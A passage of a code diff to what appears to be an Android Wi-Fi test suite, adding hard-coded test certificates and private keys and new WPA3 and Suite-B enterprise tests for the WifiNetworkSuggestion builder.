+            (byte) 0x1c, (byte) 0xfe, (byte) 0x8e, (byte) 0x5d, (byte) 0x00, (byte) 0x7f,
+            (byte) 0x5b, (byte) 0x33, (byte) 0xf5, (byte) 0xdf, (byte) 0x70, (byte) 0x81,
+            (byte) 0xad, (byte) 0x81, (byte) 0xf4, (byte) 0x5a, (byte) 0x37, (byte) 0x8a,
+            (byte) 0x79, (byte) 0x09, (byte) 0xc5, (byte) 0x55, (byte) 0xab, (byte) 0x58,
+            (byte) 0x7c, (byte) 0x47, (byte) 0xca, (byte) 0xa5, (byte) 0x80, (byte) 0x49,
+            (byte) 0x5f, (byte) 0x71, (byte) 0x83, (byte) 0xfb, (byte) 0x3b, (byte) 0x06,
+            (byte) 0xec, (byte) 0x75, (byte) 0x23, (byte) 0xc4, (byte) 0x32, (byte) 0xc7,
+            (byte) 0x18, (byte) 0xf6, (byte) 0x82, (byte) 0x95, (byte) 0x98, (byte) 0x39,
+            (byte) 0xf7, (byte) 0x92, (byte) 0x31, (byte) 0xc0, (byte) 0x89, (byte) 0xba,
+            (byte) 0xd4, (byte) 0xd4, (byte) 0x58, (byte) 0x4e, (byte) 0x38, (byte) 0x35,
+            (byte) 0x10, (byte) 0xb9, (byte) 0xf1, (byte) 0x27, (byte) 0xdc, (byte) 0xff,
+            (byte) 0xc7, (byte) 0xb2, (byte) 0xba, (byte) 0x1f, (byte) 0x27, (byte) 0xaf,
+            (byte) 0x99, (byte) 0xd5, (byte) 0xb0, (byte) 0x39, (byte) 0xe7, (byte) 0x43,
+            (byte) 0x88, (byte) 0xd3, (byte) 0xce, (byte) 0x38, (byte) 0xc2, (byte) 0x99,
+            (byte) 0x43, (byte) 0xfc, (byte) 0x8a, (byte) 0xe3, (byte) 0x60, (byte) 0x0d,
+            (byte) 0x0a, (byte) 0xb8, (byte) 0xc4, (byte) 0x29, (byte) 0xca, (byte) 0x0d,
+            (byte) 0x30, (byte) 0xaf, (byte) 0xca, (byte) 0xd0, (byte) 0xaa, (byte) 0x67,
+            (byte) 0xb1, (byte) 0xdd, (byte) 0xdb, (byte) 0x7a, (byte) 0x11, (byte) 0xad,
+            (byte) 0xeb, (byte) 0x02, (byte) 0x81, (byte) 0xc0, (byte) 0x71, (byte) 0xb8,
+            (byte) 0xcf, (byte) 0x72, (byte) 0x35, (byte) 0x67, (byte) 0xb5, (byte) 0x38,
+            (byte) 0x8f, (byte) 0x16, (byte) 0xd3, (byte) 0x29, (byte) 0x82, (byte) 0x35,
+            (byte) 0x21, (byte) 0xd4, (byte) 0x49, (byte) 0x20, (byte) 0x74, (byte) 0x2d,
+            (byte) 0xc0, (byte) 0xa4, (byte) 0x44, (byte) 0xf5, (byte) 0xd8, (byte) 0xc9,
+            (byte) 0xe9, (byte) 0x90, (byte) 0x1d, (byte) 0xde, (byte) 0x3a, (byte) 0xa6,
+            (byte) 0xd7, (byte) 0xe5, (byte) 0xe8, (byte) 0x4e, (byte) 0x83, (byte) 0xd7,
+            (byte) 0xe6, (byte) 0x2f, (byte) 0x92, (byte) 0x31, (byte) 0x21, (byte) 0x3f,
+            (byte) 0xfa, (byte) 0xd2, (byte) 0x85, (byte) 0x92, (byte) 0x1f, (byte) 0xff,
+            (byte) 0x61, (byte) 0x00, (byte) 0xf6, (byte) 0xda, (byte) 0x6e, (byte) 0xc6,
+            (byte) 0x7f, (byte) 0x5a, (byte) 0x35, (byte) 0x79, (byte) 0xdc, (byte) 0xdc,
+            (byte) 0xa3, (byte) 0x2e, (byte) 0x9f, (byte) 0x35, (byte) 0xd1, (byte) 0x5c,
+            (byte) 0xda, (byte) 0xb9, (byte) 0xf7, (byte) 0x58, (byte) 0x7d, (byte) 0x4f,
+            (byte) 0xb6, (byte) 0x13, (byte) 0xd7, (byte) 0x2c, (byte) 0x0a, (byte) 0xa8,
+            (byte) 0x4d, (byte) 0xf2, (byte) 0xe4, (byte) 0x67, (byte) 0x4f, (byte) 0x8b,
+            (byte) 0xa6, (byte) 0xca, (byte) 0x1a, (byte) 0xbb, (byte) 0x02, (byte) 0x63,
+            (byte) 0x8f, (byte) 0xb7, (byte) 0x46, (byte) 0xec, (byte) 0x7a, (byte) 0x8a,
+            (byte) 0x09, (byte) 0x0a, (byte) 0x45, (byte) 0x3a, (byte) 0x8d, (byte) 0xa8,
+            (byte) 0x83, (byte) 0x4b, (byte) 0x0a, (byte) 0xdb, (byte) 0x4b, (byte) 0x99,
+            (byte) 0xf3, (byte) 0x69, (byte) 0x95, (byte) 0xf0, (byte) 0xcf, (byte) 0xe9,
+            (byte) 0xf7, (byte) 0x67, (byte) 0xc9, (byte) 0x45, (byte) 0x18, (byte) 0x2f,
+            (byte) 0xf0, (byte) 0x5c, (byte) 0x90, (byte) 0xbd, (byte) 0xa6, (byte) 0x66,
+            (byte) 0x8c, (byte) 0xfe, (byte) 0x60, (byte) 0x5d, (byte) 0x6c, (byte) 0x27,
+            (byte) 0xec, (byte) 0xc1, (byte) 0x84, (byte) 0xb2, (byte) 0xa1, (byte) 0x97,
+            (byte) 0x9e, (byte) 0x16, (byte) 0x29, (byte) 0xa7, (byte) 0xe0, (byte) 0x38,
+            (byte) 0xa2, (byte) 0x36, (byte) 0x05, (byte) 0x5f, (byte) 0xda, (byte) 0x72,
+            (byte) 0x1a, (byte) 0x5f, (byte) 0xa8, (byte) 0x7d, (byte) 0x41, (byte) 0x35,
+            (byte) 0xf6, (byte) 0x4e, (byte) 0x0a, (byte) 0x88, (byte) 0x8e, (byte) 0x00,
+            (byte) 0x98, (byte) 0xa6, (byte) 0xca, (byte) 0xc1, (byte) 0xdf, (byte) 0x72,
+            (byte) 0x6c, (byte) 0xfe, (byte) 0x29, (byte) 0xbe, (byte) 0xa3, (byte) 0x9b,
+            (byte) 0x0b, (byte) 0x5c, (byte) 0x0b, (byte) 0x9d, (byte) 0xa7, (byte) 0x71,
+            (byte) 0xce, (byte) 0x04, (byte) 0xfa, (byte) 0xac, (byte) 0x01, (byte) 0x8d,
+            (byte) 0x52, (byte) 0xa0, (byte) 0x3d, (byte) 0xdd, (byte) 0x02, (byte) 0x81,
+            (byte) 0xc1, (byte) 0x00, (byte) 0xc1, (byte) 0xc0, (byte) 0x2e, (byte) 0xa9,
+            (byte) 0xee, (byte) 0xca, (byte) 0xff, (byte) 0xe4, (byte) 0xf8, (byte) 0x15,
+            (byte) 0xfd, (byte) 0xa5, (byte) 0x68, (byte) 0x1b, (byte) 0x2d, (byte) 0x4a,
+            (byte) 0xe6, (byte) 0x37, (byte) 0x06, (byte) 0xb3, (byte) 0xd7, (byte) 0x64,
+            (byte) 0xad, (byte) 0xb9, (byte) 0x05, (byte) 0x26, (byte) 0x97, (byte) 0x94,
+            (byte) 0x3a, (byte) 0x9e, (byte) 0x1c, (byte) 0xd0, (byte) 0xcd, (byte) 0x7b,
+            (byte) 0xf4, (byte) 0x88, (byte) 0xe2, (byte) 0xa5, (byte) 0x6d, (byte) 0xed,
+            (byte) 0x24, (byte) 0x77, (byte) 0x52, (byte) 0x39, (byte) 0x43, (byte) 0x0f,
+            (byte) 0x4e, (byte) 0x75, (byte) 0xd8, (byte) 0xa3, (byte) 0x59, (byte) 0x5a,
+            (byte) 0xc2, (byte) 0xba, (byte) 0x9a, (byte) 0x5b, (byte) 0x60, (byte) 0x31,
+            (byte) 0x0d, (byte) 0x58, (byte) 0x89, (byte) 0x13, (byte) 0xe8, (byte) 0x95,
+            (byte) 0xdd, (byte) 0xae, (byte) 0xcc, (byte) 0x1f, (byte) 0x73, (byte) 0x48,
+            (byte) 0x55, (byte) 0xd8, (byte) 0xfb, (byte) 0x67, (byte) 0xce, (byte) 0x18,
+            (byte) 0x85, (byte) 0x59, (byte) 0xad, (byte) 0x1f, (byte) 0x93, (byte) 0xe1,
+            (byte) 0xb7, (byte) 0x54, (byte) 0x80, (byte) 0x8e, (byte) 0x5f, (byte) 0xbc,
+            (byte) 0x1c, (byte) 0x96, (byte) 0x66, (byte) 0x2e, (byte) 0x40, (byte) 0x17,
+            (byte) 0x2e, (byte) 0x01, (byte) 0x7a, (byte) 0x7d, (byte) 0xaa, (byte) 0xff,
+            (byte) 0xa3, (byte) 0xd2, (byte) 0xdf, (byte) 0xe2, (byte) 0xf3, (byte) 0x54,
+            (byte) 0x51, (byte) 0xeb, (byte) 0xba, (byte) 0x7c, (byte) 0x2a, (byte) 0x22,
+            (byte) 0xc6, (byte) 0x42, (byte) 0xbc, (byte) 0xa1, (byte) 0x6c, (byte) 0xcf,
+            (byte) 0x73, (byte) 0x2e, (byte) 0x07, (byte) 0xfc, (byte) 0xf5, (byte) 0x67,
+            (byte) 0x25, (byte) 0xd0, (byte) 0xfa, (byte) 0xeb, (byte) 0xb4, (byte) 0xd4,
+            (byte) 0x19, (byte) 0xcc, (byte) 0x64, (byte) 0xa1, (byte) 0x2e, (byte) 0x78,
+            (byte) 0x45, (byte) 0xd9, (byte) 0x7f, (byte) 0x1b, (byte) 0x4c, (byte) 0x10,
+            (byte) 0x31, (byte) 0x44, (byte) 0xe8, (byte) 0xcc, (byte) 0xf9, (byte) 0x1b,
+            (byte) 0x87, (byte) 0x31, (byte) 0xd6, (byte) 0x69, (byte) 0x85, (byte) 0x4a,
+            (byte) 0x49, (byte) 0xf6, (byte) 0xb2, (byte) 0xe0, (byte) 0xb8, (byte) 0x98,
+            (byte) 0x3c, (byte) 0xf6, (byte) 0x78, (byte) 0x46, (byte) 0xc8, (byte) 0x3d,
+            (byte) 0x60, (byte) 0xc1, (byte) 0xaa, (byte) 0x2f, (byte) 0x28, (byte) 0xa1,
+            (byte) 0x14, (byte) 0x6b, (byte) 0x75, (byte) 0x4d, (byte) 0xb1, (byte) 0x3d,
+            (byte) 0x80, (byte) 0x49, (byte) 0x33, (byte) 0xfd, (byte) 0x71, (byte) 0xc0,
+            (byte) 0x13, (byte) 0x1e, (byte) 0x16, (byte) 0x69, (byte) 0x80, (byte) 0xa4,
+            (byte) 0x9c, (byte) 0xd7, (byte) 0x02, (byte) 0x81, (byte) 0xc1, (byte) 0x00,
+            (byte) 0x8c, (byte) 0x33, (byte) 0x2d, (byte) 0xd9, (byte) 0xf3, (byte) 0x42,
+            (byte) 0x4d, (byte) 0xca, (byte) 0x5e, (byte) 0x60, (byte) 0x14, (byte) 0x10,
+            (byte) 0xf6, (byte) 0xf3, (byte) 0x71, (byte) 0x15, (byte) 0x88, (byte) 0x54,
+            (byte) 0x84, (byte) 0x21, (byte) 0x04, (byte) 0xb1, (byte) 0xaf, (byte) 0x02,
+            (byte) 0x11, (byte) 0x7f, (byte) 0x42, (byte) 0x3e, (byte) 0x86, (byte) 0xcb,
+            (byte) 0x6c, (byte) 0xf5, (byte) 0x57, (byte) 0x78, (byte) 0x4a, (byte) 0x03,
+            (byte) 0x9b, (byte) 0x80, (byte) 0xc2, (byte) 0x04, (byte) 0x3a, (byte) 0x6b,
+            (byte) 0xb3, (byte) 0x30, (byte) 0x31, (byte) 0x7e, (byte) 0xc3, (byte) 0x89,
+            (byte) 0x09, (byte) 0x4e, (byte) 0x86, (byte) 0x59, (byte) 0x41, (byte) 0xb5,
+            (byte) 0xae, (byte) 0xd5, (byte) 0xc6, (byte) 0x38, (byte) 0xbc, (byte) 0xd7,
+            (byte) 0xd7, (byte) 0x8e, (byte) 0xa3, (byte) 0x1a, (byte) 0xde, (byte) 0x32,
+            (byte) 0xad, (byte) 0x8d, (byte) 0x15, (byte) 0x81, (byte) 0xfe, (byte) 0xac,
+            (byte) 0xbd, (byte) 0xd0, (byte) 0xca, (byte) 0xbc, (byte) 0xd8, (byte) 0x6a,
+            (byte) 0xe1, (byte) 0xfe, (byte) 0xda, (byte) 0xc4, (byte) 0xd8, (byte) 0x62,
+            (byte) 0x71, (byte) 0x20, (byte) 0xa3, (byte) 0xd3, (byte) 0x06, (byte) 0x11,
+            (byte) 0xa9, (byte) 0x53, (byte) 0x7a, (byte) 0x44, (byte) 0x89, (byte) 0x3d,
+            (byte) 0x28, (byte) 0x5e, (byte) 0x7d, (byte) 0xf0, (byte) 0x60, (byte) 0xeb,
+            (byte) 0xb5, (byte) 0xdf, (byte) 0xed, (byte) 0x4f, (byte) 0x6d, (byte) 0x05,
+            (byte) 0x59, (byte) 0x06, (byte) 0xb0, (byte) 0x62, (byte) 0x50, (byte) 0x1c,
+            (byte) 0xb7, (byte) 0x2c, (byte) 0x44, (byte) 0xa4, (byte) 0x49, (byte) 0xf8,
+            (byte) 0x4f, (byte) 0x4b, (byte) 0xab, (byte) 0x71, (byte) 0x5b, (byte) 0xcb,
+            (byte) 0x31, (byte) 0x10, (byte) 0x41, (byte) 0xe0, (byte) 0x1a, (byte) 0x15,
+            (byte) 0xdc, (byte) 0x4c, (byte) 0x5d, (byte) 0x4f, (byte) 0x62, (byte) 0x83,
+            (byte) 0xa4, (byte) 0x80, (byte) 0x06, (byte) 0x36, (byte) 0xba, (byte) 0xc9,
+            (byte) 0xe2, (byte) 0xa4, (byte) 0x11, (byte) 0x98, (byte) 0x6b, (byte) 0x4c,
+            (byte) 0xe9, (byte) 0x90, (byte) 0x55, (byte) 0x18, (byte) 0xde, (byte) 0xe1,
+            (byte) 0x42, (byte) 0x38, (byte) 0x28, (byte) 0xa3, (byte) 0x54, (byte) 0x56,
+            (byte) 0x31, (byte) 0xaf, (byte) 0x5a, (byte) 0xd6, (byte) 0xf0, (byte) 0x26,
+            (byte) 0xe0, (byte) 0x7a, (byte) 0xd9, (byte) 0x6c, (byte) 0x64, (byte) 0xca,
+            (byte) 0x5d, (byte) 0x6d, (byte) 0x3d, (byte) 0x9a, (byte) 0xfe, (byte) 0x36,
+            (byte) 0x93, (byte) 0x9e, (byte) 0x62, (byte) 0x94, (byte) 0xc6, (byte) 0x07,
+            (byte) 0x83, (byte) 0x96, (byte) 0xd6, (byte) 0x27, (byte) 0xa6, (byte) 0xd8
+    };
+    private static final PrivateKey CLIENT_SUITE_B_RSA3072_KEY =
+            loadPrivateKey("RSA", CLIENT_SUITE_B_RSA3072_KEY_DATA);
+
+    private static final String CLIENT_SUITE_B_ECDSA_CERT_STRING =
+            "-----BEGIN CERTIFICATE-----\n"
+                    + "MIIB9zCCAX4CFDpfSZh3AH07BEfGWuMDa7Ynz6y+MAoGCCqGSM49BAMDMF4xCzAJ\n"
+                    + "BgNVBAYTAlVTMQswCQYDVQQIDAJDQTEMMAoGA1UEBwwDTVRWMRAwDgYDVQQKDAdB\n"
+                    + "bmRyb2lkMQ4wDAYDVQQLDAVXaS1GaTESMBAGA1UEAwwJdW5pdGVzdENBMB4XDTIw\n"
+                    + "MDcyMTAyMjk1MFoXDTMwMDUzMDAyMjk1MFowYjELMAkGA1UEBhMCVVMxCzAJBgNV\n"
+                    + "BAgMAkNBMQwwCgYDVQQHDANNVFYxEDAOBgNVBAoMB0FuZHJvaWQxDjAMBgNVBAsM\n"
+                    + "BVdpLUZpMRYwFAYDVQQDDA11bml0ZXN0Q2xpZW50MHYwEAYHKoZIzj0CAQYFK4EE\n"
+                    + "ACIDYgAEhxhVJ7dcSqrto0X+dgRxtd8BWG8cWmPjBji3MIxDLfpcMDoIB84ae1Ew\n"
+                    + "gJn4YUYHrWsUDiVNihv8j7a/Ol1qcIY2ybH7tbezefLmagqA4vXEUXZXoUyL4ZNC\n"
+                    + "DWcdw6LrMAoGCCqGSM49BAMDA2cAMGQCMH4aP73HrriRUJRguiuRic+X4Cqj/7YQ\n"
+                    + "ueJmP87KF92/thhoQ9OrRo8uJITPmNDswwIwP2Q1AZCSL4BI9dYrqu07Ar+pSkXE\n"
+                    + "R7oOqGdZR+d/MvXcFSrbIaLKEoHXmQamIHLe\n"
+                    + "-----END CERTIFICATE-----\n";
+    private static final X509Certificate CLIENT_SUITE_B_ECDSA_CERT =
+            loadCertificate(CLIENT_SUITE_B_ECDSA_CERT_STRING);
+
+    private static final byte[] CLIENT_SUITE_B_ECC_KEY_DATA = new byte[]{
+            (byte) 0x30, (byte) 0x81, (byte) 0xb6, (byte) 0x02, (byte) 0x01, (byte) 0x00,
+            (byte) 0x30, (byte) 0x10, (byte) 0x06, (byte) 0x07, (byte) 0x2a, (byte) 0x86,
+            (byte) 0x48, (byte) 0xce, (byte) 0x3d, (byte) 0x02, (byte) 0x01, (byte) 0x06,
+            (byte) 0x05, (byte) 0x2b, (byte) 0x81, (byte) 0x04, (byte) 0x00, (byte) 0x22,
+            (byte) 0x04, (byte) 0x81, (byte) 0x9e, (byte) 0x30, (byte) 0x81, (byte) 0x9b,
+            (byte) 0x02, (byte) 0x01, (byte) 0x01, (byte) 0x04, (byte) 0x30, (byte) 0xea,
+            (byte) 0x6c, (byte) 0x4b, (byte) 0x6d, (byte) 0x43, (byte) 0xf9, (byte) 0x6c,
+            (byte) 0x91, (byte) 0xdc, (byte) 0x2d, (byte) 0x6e, (byte) 0x87, (byte) 0x4f,
+            (byte) 0x0a, (byte) 0x0b, (byte) 0x97, (byte) 0x25, (byte) 0x1c, (byte) 0x79,
+            (byte) 0xa2, (byte) 0x07, (byte) 0xdc, (byte) 0x94, (byte) 0xc2, (byte) 0xee,
+            (byte) 0x64, (byte) 0x51, (byte) 0x6d, (byte) 0x4e, (byte) 0x35, (byte) 0x1c,
+            (byte) 0x22, (byte) 0x2f, (byte) 0xc0, (byte) 0xea, (byte) 0x09, (byte) 0x47,
+            (byte) 0x3e, (byte) 0xb9, (byte) 0xb6, (byte) 0xb8, (byte) 0x83, (byte) 0x9e,
+            (byte) 0xed, (byte) 0x59, (byte) 0xe5, (byte) 0xe7, (byte) 0x0f, (byte) 0xa1,
+            (byte) 0x64, (byte) 0x03, (byte) 0x62, (byte) 0x00, (byte) 0x04, (byte) 0x87,
+            (byte) 0x18, (byte) 0x55, (byte) 0x27, (byte) 0xb7, (byte) 0x5c, (byte) 0x4a,
+            (byte) 0xaa, (byte) 0xed, (byte) 0xa3, (byte) 0x45, (byte) 0xfe, (byte) 0x76,
+            (byte) 0x04, (byte) 0x71, (byte) 0xb5, (byte) 0xdf, (byte) 0x01, (byte) 0x58,
+            (byte) 0x6f, (byte) 0x1c, (byte) 0x5a, (byte) 0x63, (byte) 0xe3, (byte) 0x06,
+            (byte) 0x38, (byte) 0xb7, (byte) 0x30, (byte) 0x8c, (byte) 0x43, (byte) 0x2d,
+            (byte) 0xfa, (byte) 0x5c, (byte) 0x30, (byte) 0x3a, (byte) 0x08, (byte) 0x07,
+            (byte) 0xce, (byte) 0x1a, (byte) 0x7b, (byte) 0x51, (byte) 0x30, (byte) 0x80,
+            (byte) 0x99, (byte) 0xf8, (byte) 0x61, (byte) 0x46, (byte) 0x07, (byte) 0xad,
+            (byte) 0x6b, (byte) 0x14, (byte) 0x0e, (byte) 0x25, (byte) 0x4d, (byte) 0x8a,
+            (byte) 0x1b, (byte) 0xfc, (byte) 0x8f, (byte) 0xb6, (byte) 0xbf, (byte) 0x3a,
+            (byte) 0x5d, (byte) 0x6a, (byte) 0x70, (byte) 0x86, (byte) 0x36, (byte) 0xc9,
+            (byte) 0xb1, (byte) 0xfb, (byte) 0xb5, (byte) 0xb7, (byte) 0xb3, (byte) 0x79,
+            (byte) 0xf2, (byte) 0xe6, (byte) 0x6a, (byte) 0x0a, (byte) 0x80, (byte) 0xe2,
+            (byte) 0xf5, (byte) 0xc4, (byte) 0x51, (byte) 0x76, (byte) 0x57, (byte) 0xa1,
+            (byte) 0x4c, (byte) 0x8b, (byte) 0xe1, (byte) 0x93, (byte) 0x42, (byte) 0x0d,
+            (byte) 0x67, (byte) 0x1d, (byte) 0xc3, (byte) 0xa2, (byte) 0xeb
+    };
+    private static final PrivateKey CLIENT_SUITE_B_ECC_KEY =
+            loadPrivateKey("EC", CLIENT_SUITE_B_ECC_KEY_DATA);
+
+    private static X509Certificate loadCertificate(String blob) {
+        try {
+            final CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
+            InputStream stream = new ByteArrayInputStream(blob.getBytes(StandardCharsets.UTF_8));
+
+            return (X509Certificate) certFactory.generateCertificate(stream);
+        } catch (Exception e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    private static PrivateKey loadPrivateKey(String algorithm, byte[] fakeKey) {
+        try {
+            KeyFactory kf = KeyFactory.getInstance(algorithm);
+            return kf.generatePrivate(new PKCS8EncodedKeySpec(fakeKey));
+        } catch (InvalidKeySpecException | NoSuchAlgorithmException e) {
+            return null;
+        }
     }
 
     private WifiNetworkSuggestion.Builder createBuilderWithCommonParams() {
@@ -69,7 +696,7 @@
             builder.setIsEnhancedOpen(false);
             builder.setIsHiddenSsid(true);
         }
-        builder.setPriority(0);
+        builder.setPriority(TEST_PRIORITY);
         builder.setIsAppInteractionRequired(true);
         builder.setIsUserInteractionRequired(true);
         builder.setIsMetered(true);
@@ -77,6 +704,12 @@
         builder.setCredentialSharedWithUser(true);
         builder.setIsInitialAutojoinEnabled(true);
         builder.setUntrusted(false);
+        if (BuildCompat.isAtLeastS()) {
+            builder.setOemPaid(false);
+            builder.setOemPrivate(false);
+            builder.setSubscriptionId(TEST_SUB_ID);
+            builder.setPriorityGroup(TEST_PRIORITY_GROUP);
+        }
         return builder;
     }
 
@@ -93,63 +726,81 @@
             assertFalse(suggestion.isEnhancedOpen());
             assertTrue(suggestion.isHiddenSsid());
         }
-        assertEquals(0, suggestion.getPriority());
+        assertEquals(TEST_PRIORITY, suggestion.getPriority());
         assertTrue(suggestion.isAppInteractionRequired());
         assertTrue(suggestion.isUserInteractionRequired());
         assertTrue(suggestion.isMetered());
         assertTrue(suggestion.isCredentialSharedWithUser());
         assertTrue(suggestion.isInitialAutojoinEnabled());
         assertFalse(suggestion.isUntrusted());
+        if (BuildCompat.isAtLeastS()) {
+            assertFalse(suggestion.isOemPaid());
+            assertFalse(suggestion.isOemPrivate());
+            assertEquals(TEST_PRIORITY_GROUP, suggestion.getPriorityGroup());
+            assertEquals(TEST_SUB_ID, suggestion.getSubscriptionId());
+            assertEquals(TelephonyManager.UNKNOWN_CARRIER_ID, suggestion.getCarrierId());
+        }
     }
 
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa2Passphrase() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams()
                 .setWpa2Passphrase(TEST_PASSPHRASE)
                 .build();
         validateCommonParams(suggestion);
         assertEquals(TEST_PASSPHRASE, suggestion.getPassphrase());
+        assertNull(suggestion.getEnterpriseConfig());
         assertNull(suggestion.getPasspointConfig());
     }
 
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa3Passphrase() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams()
                         .setWpa3Passphrase(TEST_PASSPHRASE)
                         .build();
         validateCommonParams(suggestion);
         assertEquals(TEST_PASSPHRASE, suggestion.getPassphrase());
+        assertNull(suggestion.getEnterpriseConfig());
         assertNull(suggestion.getPasspointConfig());
     }
 
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
+    public void testBuilderWithWpa3SaeH2eOnlyMode() throws Exception {
+        assumeTrue(BuildCompat.isAtLeastS());
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3Passphrase(TEST_PASSPHRASE)
+                        .setIsWpa3SaeH2eOnlyModeEnabled(true)
+                        .build();
+        validateCommonParams(suggestion);
+        assertEquals(TEST_PASSPHRASE, suggestion.getPassphrase());
+        assertNull(suggestion.getEnterpriseConfig());
+        assertNull(suggestion.getPasspointConfig());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     */
+    @Test
     public void testBuilderWithWapiPassphrase() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams()
                         .setWapiPassphrase(TEST_PASSPHRASE)
                         .build();
         validateCommonParams(suggestion);
         assertEquals(TEST_PASSPHRASE, suggestion.getPassphrase());
+        assertNull(suggestion.getEnterpriseConfig());
         assertNull(suggestion.getPasspointConfig());
     }
 
@@ -162,11 +813,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa2Enterprise() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = createEnterpriseConfig();
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams()
@@ -183,11 +831,8 @@
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
      */
+    @Test
     public void testBuilderWithWpa3Enterprise() throws Exception {
-        if (!WifiFeature.isWifiSupported(getContext())) {
-            // skip the test if WiFi is not supported
-            return;
-        }
         WifiEnterpriseConfig enterpriseConfig = createEnterpriseConfig();
         WifiNetworkSuggestion suggestion =
                 createBuilderWithCommonParams()
@@ -203,12 +848,125 @@
 
     /**
      * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
      */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testBuilderWithWpa3EnterpriseWithStandardApi() throws Exception {
+        WifiEnterpriseConfig enterpriseConfig = createEnterpriseConfig();
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3EnterpriseStandardModeConfig(enterpriseConfig)
+                        .build();
+        validateCommonParams(suggestion);
+        assertNull(suggestion.getPassphrase());
+        assertNotNull(suggestion.getEnterpriseConfig());
+        assertEquals(enterpriseConfig.getEapMethod(),
+                suggestion.getEnterpriseConfig().getEapMethod());
+        assertNull(suggestion.getPasspointConfig());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     */
+    @Test
+    public void testBuilderWithWpa3EnterpriseWithSuiteBRsaCerts() throws Exception {
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_RSA3072_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_RSA3072_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_RSA3072_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3EnterpriseConfig(enterpriseConfig)
+                        .build();
+        validateCommonParams(suggestion);
+        assertNull(suggestion.getPassphrase());
+        assertNotNull(suggestion.getEnterpriseConfig());
+        assertEquals(enterpriseConfig.getEapMethod(),
+                suggestion.getEnterpriseConfig().getEapMethod());
+        assertNull(suggestion.getPasspointConfig());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     */
+    @Test
+    public void testBuilderWithWpa3EnterpriseWithSuiteBEccCerts() throws Exception {
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_ECDSA_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_ECC_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_ECDSA_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3EnterpriseConfig(enterpriseConfig)
+                        .build();
+        validateCommonParams(suggestion);
+        assertNull(suggestion.getPassphrase());
+        assertNotNull(suggestion.getEnterpriseConfig());
+        assertEquals(enterpriseConfig.getEapMethod(),
+                suggestion.getEnterpriseConfig().getEapMethod());
+        assertNull(suggestion.getPasspointConfig());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     */
+    @Test
+    public void testBuilderWithWpa3Enterprise192bitWithSuiteBRsaCerts() throws Exception {
+        WifiEnterpriseConfig enterpriseConfig = new WifiEnterpriseConfig();
+        enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TLS);
+        enterpriseConfig.setCaCertificate(CA_SUITE_B_RSA3072_CERT);
+        enterpriseConfig.setClientKeyEntryWithCertificateChain(CLIENT_SUITE_B_RSA3072_KEY,
+                new X509Certificate[] {CLIENT_SUITE_B_RSA3072_CERT});
+        enterpriseConfig.setAltSubjectMatch("domain.com");
+        WifiNetworkSuggestion suggestion =
+                createBuilderWithCommonParams()
+                        .setWpa3EnterpriseConfig(enterpriseConfig)
+                        .build();
+        validateCommonParams(suggestion);
+        assertNull(suggestion.getPassphrase());
+        assertNotNull(suggestion.getEnterpriseConfig());
+        assertEquals(enterpriseConfig.getEapMethod(),
+                suggestion.getEnterpriseConfig().getEapMethod());
+        assertNull(suggestion.getPasspointConfig());
+    }
+
+    /**
+     * Tests {@link android.net.wifi.WifiNetworkSuggestion.Builder} class.
+     *
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    @Test
+    public void testBuilderWithWpa3Enterprise192bitWithSuiteBEccCerts() throws Exception {
